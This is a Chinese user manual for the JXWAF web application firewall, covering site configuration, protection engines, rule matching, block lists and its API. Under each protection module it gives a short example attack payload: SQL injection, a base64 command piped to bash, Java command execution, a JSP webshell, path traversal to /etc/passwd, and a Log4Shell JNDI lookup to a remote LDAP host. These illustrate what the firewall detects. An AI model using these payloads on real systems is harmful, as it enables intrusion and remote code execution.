# 操作指南

# 网站防护

# 网站配置

域名/IP

需要防护的域名或 IP,域名支持通配符,例如 *.jxwaf.com。自定义端口部署,则需要在域名或 IP 后面加上端口,例如: demo.jxwaf.com:8000。如下面的配置例子,都是正确配置

  • 1.1.1.1
  • 1.1.1.1:8000
  • demo.jxwaf.com
  • demo.jxwaf.com:8000
  • *.jxwaf.com
  • *.jxwaf.com:8000

协议类型

选择支持的协议类型,默认情况下,HTTP 协议对应 80 端口,HTTPS 协议对应 443 端口。HTTPS 协议需要选择对应的 SSL 证书,SSL 证书需要在 系统配置 -> SSL 证书管理 中配置。

源站地址

业务服务器的地址,支持 IP 和域名,支持配置多个回源地址。域名需要省略 https:// 或 http://。如下面的配置例子,都是正确配置

  • www.jxwaf.com
  • 1.1.1.1

源站端口

业务服务器的端口,例如 80,443 等,端口需要与回源协议匹配,例如,80 端口的回源协议就是 http,443 端口的回源协议是 https

回源协议

选择回源协议,即业务服务器支持的请求协议,一般来说,80 端口对应 http 协议,443 端口对应 https 协议

负载均衡

支持 IP_HASH 和 轮询 两种回源算法,其中 IP_HASH 算法能够保持用户会话的一致性,轮询算法能够平均地分配请求到后端的业务服务器。

强制 HTTPS 跳转

强制 HTTP 协议跳转到 HTTPS 协议,协议类型需同时开启 HTTP 和 HTTPS 才能生效

WAF 前存在代理

开启后,将从可信 IP 地址中,提取 header 头中的 X-Real-IP 或 X-Forwarded-For 的 IP 为源 IP 地址,适合 waf 前存在 CDN 或云 WAF 的场景开启

# 防护配置

# web 防护引擎

# 防护状态

开启状态下,检测到攻击会返回默认拦截页面,可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。观察状态下,仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

# SQL 注入攻击防护

攻击 payload 例子: if(lower(database())>'a',1,0)

# XSS 攻击防护

攻击 payload 例子:

# 命令执行攻击防护

攻击 payload 例子: ;echo "Y2F0IGZsYWc="|base64 -d|bash

# 代码执行攻击防护

攻击 payload 例子: new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

# WebShell 上传防护

攻击 payload 例子: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

# 敏感文件泄露防护

攻击 payload 例子: http://1.1.1.1/a.bak

# 路径穿越防护

攻击 payload 例子: '/static/img/../../etc/passwd'

# 高危 Nday 防护

攻击 payload 例子: ${jndi:ldap://172.16.238.11:1389/a}

# 流量防护引擎

# 高频 CC 攻击防护
  • IP 请求频率检测

    一秒时间内同一 IP 发起的请求数量,例如 当请求频率限制为 100 时,即同一 IP 在一秒内发起了超过 100 个请求,则超出请求部分将触发处置

  • IP 请求次数检测

    在统计时间内(秒),同一 IP 发起的请求数量超过限定值,超出的请求将被处置。例如 当请求次数设置为 6000,统计时间设置为 60,则同一 IP 在 60 秒内,发起超过 6000 个请求,超出的请求将触发处置

# 慢速 CC 攻击防护
  • 请求 IP 数量检测

在统计时间内(秒),请求的 IP 数量超过限定值,超出 IP 的请求将被处置。例如 请求 IP 数量限制设置为 1000,统计时间设置为 60,则在 60 秒内,请求的 IP 数量超过 1000,超出的 IP 将触发处置

  • 回源保护机制

统计回源的请求频率,超过部署的请求将触发处置,例如 设置网站请求频率限制为 1000,那么当回源到业务服务器的请求,在 1 秒内超过 1000 个请求,超出的请求将触发处置。

# 无差别紧急防护

开启后,所有请求都会无条件触发处置,适合网站已经被打且业务不可用的情况下紧急开启。可配置人机识别进行处置,快速拦截异常流量,正常用户通过人机识别验证后可正常防护业务。

# 执行动作
  • 阻断请求

拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。

  • 拒绝响应

服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。

  • 人机识别

标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。

滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。

图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。

  • 观察模式

仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

# Web 防护规则/Web 白名单规则/流量防护规则/流量白名单规则

请求内容例子

POST /waf/waf_get_domain_list?test=a&test2=b HTTP/1.1
Host: demo.jxwaf.com:8000
Content-Length: 10
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://demo.jxwaf.com:8000
Referer: http://demo.jxwaf.com:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5
Connection: close

{"page":1}

# 匹配参数
匹配参数选项 获取数据说明
http_args:path /waf/waf_get_domain_list
http_args:query_string test=a&test2=b
http_args:method POST
http_args:src_ip 1.1.1.1
http_args:raw_body {"page":1}
http_args:version 1.1
http_args:scheme HTTP
http_args:raw_header 获取原始 header 内容
header_args:host demo.jxwaf.com:8000
header_args:cookie sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5
header_args:referer http://demo.jxwaf.com:8000/
header_args:user_agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
header_args:referer http://demo.jxwaf.com:8000/
header_args: 获取指定的 header 值,例如这里输入 header_args:Accept-Encoding,则返回 "gzip, deflate, br"
cookie_args: 获取指定的 cookie 值,例如这里输入 cookie_args:sessionid,则返会"ie7l7u89zeqf93syv4jvolhr0ljgngn5"
uri_args: 获取指定的查询字符串参数的值,例如输入 uri_args:test ,则返回 “a”
post_args: 获取指定的请求体参数的值,假如请求体的内容为 page=1&number=2,则输入 post_args:number,则返回 "2"
json_post_args: 获取指定的请求体参数的值,例如输入 json_post_args:page ,则返回 “1”
# 参数处理
参数处理选项 处理说明
不处理 不进行处理,获取数据为 "a",则返回"a"
小写处理 获取数据为"AbcdEf",则返回“abcdef”
BASE64 解码 获取数据为"QWJjZEVm",则返回"AbcdEf",如果解码失败,则返回 nil
长度计算 获取数据为"AbcdEf",则返回“6”
URL 解码 获取数据为"test%3Da%26test2%3Db",则返回"test=a&test2=b"
UNICODE 解码 获取数据为"\u0073\u0073\u0073\u0061\u0061",则返回"sssaa"
十六进制解码 获取数据为"\x61\x61\x61\x62\x62\x62",则返回"aaabbb"
获取数据类型 当数据存在,且数据是数字类型,则返回"number",否则返回"string",不存在则返回"nil",例如匹配参数 cookie_args:jxwaf_session 因为不存在该参数,所以返回为 "nil"。json_post_args:page 则返回 "number",header_args:host,则返回"string"
# 匹配方式
匹配方式选项 匹配说明
后缀匹配 获取数据为"AbcdEf",后缀匹配"cdEf"成功,后缀匹配"aaaa"失败
包括 获取数据为"AbcdEf", 包括匹配"cdE"成功,包括匹配"aaaa"失败
不包括 获取数据为"AbcdEf", 不包括匹配"aaaa"成功,不包括匹配"dEf"失败
等于 获取数据为"AbcdEf", 等于匹配"AbcdEf"成功,等于匹配"dEf"失败
不等于 获取数据为"AbcdEf", 不等于匹配"dEf"成功,不等于匹配"AbcdEf"失败
数字大于 获取数据为"6", 数字大于匹配“10”成功,数字大于匹配“4”失败。获取数据为"qqq",数字大于匹配“10”失败
数字小于 获取数据为"6", 数字小于匹配“4”成功,数字小于匹配“10”失败。获取数据为"qqq",数字小于匹配“10”失败
数字等于 获取数据为"6", 数字等于匹配“6”成功,数字等于匹配“10”失败。获取数据为"qqq",数字等于匹配“10”失败
数字不等于 获取数据为"6", 数字不等于匹配“5”成功,数字不等于匹配“6”失败。获取数据为"qqq",数字不等于匹配“10”失败
# 执行动作
  • 阻断请求

拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。

  • 拒绝响应

服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。

  • 人机识别

标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。

滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。

图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。

  • 观察模式

仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

  • Web 安全防护加白

加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。

  • 流量安全防护加白

加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。

# IP 区域封禁

开启后,需要配置 IP 白名单区域,将根据 IP 归属的国家或地区进行检测,非白名单区域的 IP 发起请求将进行处置。例如,开启后选择白名单区域为中国大陆,那么 IP: 43.133.32.222 访问的时候,因为 IP 的归属是新加坡,请求将触发执行动作进行处置。

# 名单防护

# 名单配置

名单名称

字母开头,字母或者数字组合,支持_-两种符号

名单描述

描述名单用途

过期时间(秒)

默认永久生效,可自定义过期时间,当超过过期时间,会自动删除过期的条目

匹配参数

详情参考规则配置,支持多个组合。例如 业务场景需要封禁某些 IP 访问特定域名,那么可以设置 header_args:host 加上 http_args:src_ip ,假如域名是 www.test.com ,访问 IP 是 1.1.1.1 那么条目可以写入 “www.test.com1.1.1.1”,即可实现禁止特定IP访问特定域名的效果

执行动作

  • 阻断请求

拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。

  • 拒绝响应

服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。

  • 人机识别

标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。

滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。

图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。

  • 观察模式

仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

  • 安全防护全加白

加白所有安全防护模块,后续检测流程中的安全防护模块都会直接跳过,不会执行检测和处置

  • Web 安全防护加白

加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。

  • 流量安全防护加白

加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。

# API 调用

# 接口说明

接口地址: /api/add_name_list_item

输入参数:

  • waf_auth

    鉴权字段,在 系统配置 -> 基础信息 页面,可以查看 waf_auth 的值

  • name_list_name

    名单名称

  • name_list_item

    名单条目的值

调用成功输出:

{
    "message": "add_success",
    "result": true
}

# 调用例子

API 地址:

http://demo.jxwaf.com:8000/api/add_name_list_item

waf_auth: ee747988-612b-4790-b8ea-fb49c04fc1ea

名单名称: test

参数:

{"waf_auth":"ee747988-612b-4790-b8ea-fb49c04fc1ea","name_list_name":"test","name_list_item":"www.test.com1.1.1.1"}

结果:

{
    "message": "add_success",
    "result": true
}

# 配置备份&加载

# 配置备份

点击按钮进行备份,会自动下载备份文件 backup_data.json 。备份操作会将当前系统的所有配置都备份下来。

# 配置加载

打开 backup_data.json 文件,复制文件内容填入输入框。注意,加载操作将删除当前系统配置,然后将配置文件内容写入覆盖,建议先备份再进行加载操作。